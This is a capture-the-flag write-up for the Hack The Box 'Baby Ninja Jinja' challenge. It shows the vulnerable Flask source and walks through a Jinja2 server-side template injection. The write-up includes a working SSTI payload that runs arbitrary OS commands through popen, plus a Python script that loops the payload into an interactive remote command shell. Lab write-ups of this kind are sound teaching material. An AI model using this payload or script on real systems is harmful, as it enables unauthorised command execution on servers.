Baby Ninja Jinja - Hack The Box Challenge

3 minute read

  3 minute read

baby ninja jinja htb

baby ninja jinja htb 1

The website presents us with an input form. The entry didn’t appear to be vulnerable to SQL injection or any such attack, so we resorted to scanning the website in an attempt to find other vulnerable endpoints.

We’ll use dirb which is a tool for fuzzing.

baby ninja jinja htb 2

We find that there are two routes, console and debug. Checking debug page content, we can see the source code of the website backend.

/debug :

from flask import Flask, session, render_template, request, Response, render_template_string, g
import functools, sqlite3, os

app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(120)


acc_tmpl = '''{% extends 'index.html' %}
{% block content %}
<h3>baby_ninja joined, total number of rebels: reb_num<br>
{% endblock %}
'''

def get_db():
    db = getattr(g, '_database', None)
    if db is None:
        db = g._database = sqlite3.connect('/tmp/ninjas.db')
        db.isolation_level = None
        db.row_factory = sqlite3.Row
        db.text_factory = (lambda s: s.replace('{{', '').
            replace("'", '&#x27;').
            replace('"', '&quot;').
            replace('<', '&lt;').
            replace('>', '&gt;')
        )
    return db

def query_db(query, args=(), one=False):
    with app.app_context():
        cur = get_db().execute(query, args)
        rv = [dict((cur.description[idx][0], str(value)) \
            for idx, value in enumerate(row)) for row in cur.fetchall()]
        return (rv[0] if rv else None) if one else rv

@app.before_first_request
def init_db():
    with app.open_resource('schema.sql', mode='r') as f:
        get_db().cursor().executescript(f.read())

@app.teardown_appcontext
def close_connection(exception):
    db = getattr(g, '_database', None)
    if db is not None: db.close()

def rite_of_passage(func):
    @functools.wraps(func)
    def born2pwn(*args, **kwargs):

        name = request.args.get('name', '')

        if name:
            query_db('INSERT INTO ninjas (name) VALUES ("%s")' % name)

            report = render_template_string(acc_tmpl.
                replace('baby_ninja', query_db('SELECT name FROM ninjas ORDER BY id DESC', one=True)['name']).
                replace('reb_num', query_db('SELECT COUNT(id) FROM ninjas', one=True).itervalues().next())
            )

            if session.get('leader'): 
                return report

            return render_template('welcome.jinja2')
        return func(*args, **kwargs)
    return born2pwn

@app.route('/')
@rite_of_passage
def index():
    return render_template('index.html')

@app.route('/debug')
def debug():
    return Response(open(__file__).read(), mimetype='text/plain')

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=1337, debug=True)

Server Site Template Injection (SSTI)

From the code we can see that the name entry is inserted into a backend database and then extracted again from the database to replace the substring baby_ninja in the acc_tmpl string, which is then used in a call to the render_template_string function.

The string acc_tmpl contains template blocks indicated by the leading {%" and the trailing "%}. Also, the name of the challenge contains the word Jinja which is a template language for Python.

With this in mind, this should consist of a Server-Side Template Injection (SSTI) attack. This is done by inserting template blocks into the input of our name parameter, so that the template blocks are executed in the context of the backend server when rendering the template string.

Researching about Jinja & Python SSTI attacks

The following payload was built:

{%+if+session.update({request.args.se:request.application.__globals__.__builtins__.__import__(request.args.os).popen(request.args.command).read()})+==+1+%}{%+endif+%}&se=asdf&os=os&command=ls
  • request.args. reads the param value from the request and substitutes it.

To test it, we’ll intercept the request when we send some text in the input of the web. We are going to use Burp Suite to intercept the request and once we have intercepted it, we will send it to the Repeater, subsequently rewriting the request for the payload, leaving it like this:

baby ninja jinja htb 3

As a result we obtain a cookie session, which if we decode using the python flask-unsing library, we will obtain the output of the command we requested in the request we made.

flask-unsign --decode --cookie

Output:

'eyJhc2RmIjp7IiBiIjoiWVhCd0xuQjVDbVpzWVdkZlVEVTBaV1FLYzJOb1pXMWhMbk54YkFwemRHRjBhV01LZEdWdGNHeGhkR1Z6Q2c9PSJ9fQ.YINj9g.TUKzD-UiXlv3FQdo6x3uKpmFet8'
{'asdf': b'app.py\nflag_P54ed\nschema.sql\nstatic\ntemplates\n'}

So all this challenges goes about , using the cookie session got from a SSTI attack request to get the info after decode it.

SSTI Exploit Automatitation with Python3

So we can automatize that with a little python script:

import requests
import flask_unsign

Server = input("Server addr: ")
if requests.get(Server).status_code == 200:
    while True:
        cmd = input ("Command: ")
        if cmd == "exit":
            exit()
        sess = requests.Session()
        sess.get(Server+"/?name={%+if+session.update({request.args.se:request.application.__globals__.__builtins__.__import__(request.args.os).popen(request.args.command).read()})+==+1+%}{%+endif+%}&se=asdf&os=os&command="+cmd)
        session = sess.cookies.get_dict()['session']
        print(flask_unsign.decode(str(session))['asdf'].decode())

Now we can using a shell-style commands against the server, getting the flag in the process.

baby ninja jinja htb 4

Byee